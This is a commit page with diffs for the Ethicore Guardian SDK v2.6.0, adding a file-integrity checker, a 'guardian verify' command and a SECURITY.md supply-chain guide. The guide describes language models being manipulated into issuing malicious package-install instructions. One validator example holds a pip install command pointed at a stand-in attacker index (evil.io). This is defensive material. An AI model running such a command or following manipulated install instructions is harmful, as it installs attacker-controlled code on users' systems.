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v2.6.0 — supply chain integrity module, guardian verify CLI, SECURITY.md
ethicore_guardian/integrity.py (new): SHA-256 self-integrity check for all bundled SDK files. Compares hashes against data/integrity_manifest.json shipped in the wheel. Also re-verifies ONNX model files via model_signatures.json (licensed tier). Exposes verify_sdk_integrity() for programmatic use and check_on_import() triggered by GUARDIAN_VERIFY_INTEGRITY=1|strict env var. cli.py — guardian verify subcommand: guardian verify check current install (exit 0=OK, 1=tampered) guardian verify --verbose per-file pass/fail breakdown guardian verify --generate rebuild manifest from current files (build step) guardian verify --strict treat missing manifest as failure guardian verify --json machine-readable output for CI pipelines ethicore_guardian/data/integrity_manifest.json (new): Pre-computed SHA-256 baseline for 7 bundled files shipped in the wheel. Regenerated at build time; included in wheel via pyproject.toml package-data. __init__.py: Opt-in integrity check on package import via GUARDIAN_VERIFY_INTEGRITY env var. Exports verify_sdk_integrity and IntegrityResult. Bump __version__ to 2.6.0. versions.py: Bump to 2.6.0 (2026-05-18). Add supply_chain_integrity feature flag. Update ml_inference_engine to 3.2.0 (125k samples, 94 categories, 1230 fingerprints). Update pattern_analyzer to 1.2.0 (94 categories). community_guardian.py: Update stale "80+" references to "90+" throughout. pyproject.toml: Include data/integrity_manifest.json in wheel package-data. SECURITY.md (new): Public supply chain security guide covering: PyPI hash verification, requirements pinning with --require-hashes, guardian verify usage, Sigstore attestation verification, pip-audit, and detecting AI-mediated supply chain attacks via the supplyChainDependencyInjection threat category.
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‎SECURITY.md‎

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# Supply Chain Security — Ethicore Engine™ Guardian SDK
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This document explains how to verify the integrity of the Guardian SDK package
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and how to protect your codebase from supply chain / dependency injection attacks.
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---
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## Verifying the Guardian SDK Installation
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### 1. Verify the PyPI package hash
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Before installing, confirm that the wheel hash matches the value published on PyPI.
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```bash
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# Download without installing
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pip download ethicore-engine-guardian==2.6.0 --no-deps -d /tmp/guardian-dl
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# Compute SHA-256 of the downloaded wheel
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pip hash /tmp/guardian-dl/ethicore_engine_guardian-2.6.0-py3-none-any.whl
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```
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Compare the output against the hashes listed on the [PyPI release page](https://pypi.org/project/ethicore-engine-guardian/#files).
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### 2. Pin with hash verification in requirements files
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Add the `--require-hashes` flag to your pip install to enforce integrity on every dependency:
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```txt
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# requirements.txt
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ethicore-engine-guardian==2.6.0 \
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--hash=sha256:<paste hash from PyPI here>
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```
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```bash
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pip install -r requirements.txt --require-hashes
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```
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This ensures pip will refuse to install any version of the package that does not
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match the expected hash — protecting against typosquatting, index substitution, and
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man-in-the-middle attacks on the package registry.
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### 3. Use the built-in `guardian verify` command
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Starting with v2.6.0, the Guardian SDK includes a self-integrity CLI command:
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```bash
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# Verify your installed Guardian SDK
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guardian verify
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# Verbose — show per-file pass/fail
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guardian verify --verbose
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# Machine-readable output (CI pipelines)
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guardian verify --json
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# Strict mode — exits 1 if manifest is missing
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guardian verify --strict
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```
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This checks SHA-256 hashes of all bundled Python and JSON files against the
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pre-computed baseline manifest shipped inside the wheel. If any file has been
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tampered with since the wheel was built, the mismatch is reported.
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ONNX model files (licensed tier) are independently verified against
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`model_signatures.json`.
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### 4. Automatic check on import
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Set the environment variable to run integrity verification at package import time:
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```bash
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# Warn on mismatch (recommended for most deployments)
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export GUARDIAN_VERIFY_INTEGRITY=1
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# Raise RuntimeError on mismatch (security-critical pipelines)
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export GUARDIAN_VERIFY_INTEGRITY=strict
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```
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Or programmatically:
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```python
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from ethicore_guardian.integrity import verify_sdk_integrity
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result = verify_sdk_integrity()
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if not result.passed:
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raise RuntimeError(f"Guardian SDK integrity check failed: {result.summary}")
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```
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### 5. Verify Sigstore attestation (advanced)
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Guardian SDK wheels are signed using [Sigstore](https://sigstore.dev) via GitHub
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Actions on every release. To verify the attestation using the `cosign` tool:
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```bash
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cosign verify-attestation \
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--type slsaprovenance \
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--certificate-identity-regexp "https://github.com/OraclesTech/guardian-sdk/.*" \
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--certificate-oidc-issuer https://token.actions.githubusercontent.com \
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/tmp/guardian-dl/ethicore_engine_guardian-2.6.0-py3-none-any.whl
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```
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A successful verification confirms the wheel was built by the official CI pipeline
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and has not been tampered with since signing.
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---
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## Protecting Customer Codebases
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### Use a private package index or allowlist
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Configure pip to only install from approved sources:
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```bash
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# Allow only PyPI
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pip config set global.index-url https://pypi.org/simple/
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pip config set global.no-index-url ""
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```
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Or enforce this in `pip.conf` / `pip.ini` for your entire environment.
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### Audit dependencies with pip-audit
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```bash
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pip install pip-audit
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pip-audit -r requirements.txt
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```
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Guardian SDK's CI pipeline runs `pip-audit` automatically on every build. You should
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run it in your own CI against your full dependency tree.
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### Detect AI-mediated supply chain attacks with Guardian
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The `supplyChainDependencyInjection` threat category (added in the API tier, v2.6.0)
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detects when an LLM is being manipulated into generating malicious package installation
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instructions targeting your development workflow. This covers:
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- **Dependency confusion** — attacker uploads a malicious package to PyPI using your
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private package's name, causing pip to install it instead of your internal version.
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- **Typosquatting** — package name one character off from a trusted dependency.
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- **Index substitution** — `--index-url` flag pointing to an attacker-controlled server.
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- **Backdoored version pinning** — model instructed to pin a dependency to a vulnerable
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or backdoored release.
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Enable the check in your agentic pipeline:
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```python
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from ethicore_guardian import Guardian
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guardian = Guardian(api_key="eg-sk-...")
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# All tool calls and outputs are automatically scanned, including
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# pip/npm install commands generated by the LLM.
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protected_client = guardian.wrap(openai.OpenAI())
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```
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Or use `ToolCallValidator` directly before executing any package-manager tool:
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```python
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from ethicore_guardian.analyzers.tool_call_validator import ToolCallValidator
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validator = ToolCallValidator()
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result = validator.validate("pip_install", {"cmd": "pip install somepackage --index-url http://evil.io"})
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if result.verdict == "BLOCK":
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raise RuntimeError(f"Blocked malicious tool call: {result.matches[0].description}")
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```
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---
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## Reporting Security Issues
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Please report security vulnerabilities to:
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**security@oraclestechnologies.com**
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Do **not** file public GitHub issues for security vulnerabilities. We will respond
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within 48 hours and coordinate a responsible disclosure timeline.
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---
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## Existing Supply Chain Protections
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| Protection | Status |
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|---|---|
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| PyPI package hashes published | ✅ |
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| Sigstore / SLSA attestations | ✅ |
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| Hash-pinned `requirements.lock` | ✅ |
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| Continuous `pip-audit` on wheel builds | ✅ |
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| Typosquatting stubs on PyPI | ✅ (4 variants monitored) |
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| SDK self-integrity check (`guardian verify`) | ✅ v2.6.0+ |
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| AI-mediated supply chain detection | ✅ API tier v2.6.0+ |
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---
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*Last updated: 2026-05-18 — Guardian SDK v2.6.0*

‎ethicore_guardian/__init__.py‎

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"""
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# Version information
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__version__ = "2.5.0"
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__version__ = "2.6.0"
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__author__ = "Oracles Technologies LLC"
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# Core exports — full API-tier guardian preferred; community fallback for wheel installs
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'GuardianToolCallBlockedError',
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'GuardianToolOutputBlockedError',
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# Supply chain integrity
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'verify_sdk_integrity',
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'IntegrityResult',
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# Version
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'__version__',
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]
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"Guardian welcome message could not be displayed: %s", _welcome_err
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)
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# Supply chain integrity check — runs only when GUARDIAN_VERIFY_INTEGRITY is set.
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# Import is deferred so a broken integrity.py never breaks the package import.
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try:
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from .integrity import check_on_import, verify_sdk_integrity, IntegrityResult
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check_on_import()
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except ImportError:
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pass # integrity module unavailable — non-fatal
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# Print welcome for interactive use
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_print_welcome()

‎ethicore_guardian/cli.py‎

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@@ -87,6 +87,37 @@ def _build_parser() -> argparse.ArgumentParser:
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subparsers = parser.add_subparsers(dest="command", metavar="COMMAND")
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# ---- verify ------------------------------------------------------------
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verify_parser = subparsers.add_parser(
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"verify",
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help="Verify Guardian SDK supply-chain integrity",
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description=(
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"Check SHA-256 hashes of all bundled Guardian SDK files against the "
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"pre-computed baseline manifest. Also re-verifies ONNX model files "
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"against model_signatures.json when present.\n\n"
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"Exit codes: 0 = all OK, 1 = tampered/mismatch, 2 = internal error."
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),
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)
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verify_parser.add_argument(
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"--generate",
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action="store_true",
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help=(
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"Regenerate the integrity manifest from the current files and write it "
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"to data/integrity_manifest.json. Run this at build time, not at "
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"deployment time."
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),
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)
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verify_parser.add_argument(
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"--strict",
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action="store_true",
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help="Treat a missing manifest as a failure (default: warning only).",
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)
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verify_parser.add_argument(
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"--verbose", "-v",
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action="store_true",
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help="Show per-file pass/fail status.",
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)
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# ---- analyze -----------------------------------------------------------
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analyze_parser = subparsers.add_parser(
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"analyze",
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# Command implementations
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# ---------------------------------------------------------------------------
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def _run_verify(
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generate: bool,
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strict: bool,
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verbose: bool,
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as_json: bool,
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) -> int:
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"""
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Verify (or regenerate) the Guardian SDK integrity manifest.
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Returns
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-------
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int
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0 = all OK, 1 = tampered / mismatch, 2 = internal error.
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"""
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try:
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from ethicore_guardian.integrity import (
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generate_manifest,
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save_manifest,
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verify_sdk_integrity,
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)
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except ImportError as exc:
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_err(as_json, f"Integrity module unavailable: {exc}")
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return 2
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# ── Generate mode ────────────────────────────────────────────────────────
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if generate:
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try:
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manifest = generate_manifest()
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path = save_manifest(manifest)
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n = len(manifest.get("files", {}))
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if as_json:
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import json as _json
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print(_json.dumps({"generated": True, "path": str(path), "files_hashed": n}, indent=2))
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else:
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print(f"\n[OK] Integrity manifest generated — {n} files hashed")
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print(f" Written to: {path}\n")
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return 0
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except Exception as exc: # noqa: BLE001
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_err(as_json, f"Manifest generation failed: {exc}")
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return 2
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# ── Verify mode ──────────────────────────────────────────────────────────
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try:
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result = verify_sdk_integrity(strict=strict)
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except Exception as exc: # noqa: BLE001
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_err(as_json, f"Integrity check failed: {exc}")
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return 2
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if as_json:
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import json as _json
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print(_json.dumps(result.to_dict(), indent=2))
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return 0 if result.passed else 1
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# Human-readable output (ASCII-safe for all platforms)
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icon = "[OK]" if result.passed else "[FAIL]"
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print()
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print(f"{icon} {result.summary}")
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if result.warnings:
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for w in result.warnings:
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print(f" [WARN] {w}")
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if result.errors:
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for e in result.errors:
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print(f" [ERROR] {e}")
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if result.files_checked > 0:
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print(
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f"\n Files : {result.files_passed}/{result.files_checked} passed"
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+ (f" ({result.files_failed} FAILED)" if result.files_failed else "")
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)
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if result.onnx_checked:
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onnx_tag = "[OK]" if result.onnx_verified else "[FAIL]"
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print(f" ONNX : {onnx_tag} {'verified' if result.onnx_verified else 'TAMPERED'}")
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if verbose and result.file_results:
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print("\n Per-file results:")
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for fr in result.file_results:
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status_tag = "[OK] " if fr.passed else "[FAIL]"
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print(f" {status_tag} {fr.path:<40} {fr.status}")
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if not fr.passed and not as_json:
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if fr.error:
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print(f" error: {fr.error}")
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elif fr.actual_hash:
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print(f" expected: {fr.expected_hash}")
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print(f" actual : {fr.actual_hash}")
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print()
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return 0 if result.passed else 1
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129251
async def _run_analyze(
130252
text: str,
131253
api_key: Optional[str],
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314436
api_key: Optional[str] = getattr(args, "api_key", None)
315437
as_json: bool = getattr(args, "as_json", False)
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317-
if args.command == "analyze":
439+
if args.command == "verify":
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exit_code = _run_verify(
441+
generate=args.generate,
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strict=args.strict,
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verbose=args.verbose,
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as_json=as_json,
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)
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sys.exit(exit_code)
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elif args.command == "analyze":
318449
exit_code = asyncio.run(
319450
_run_analyze(
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text=args.text,

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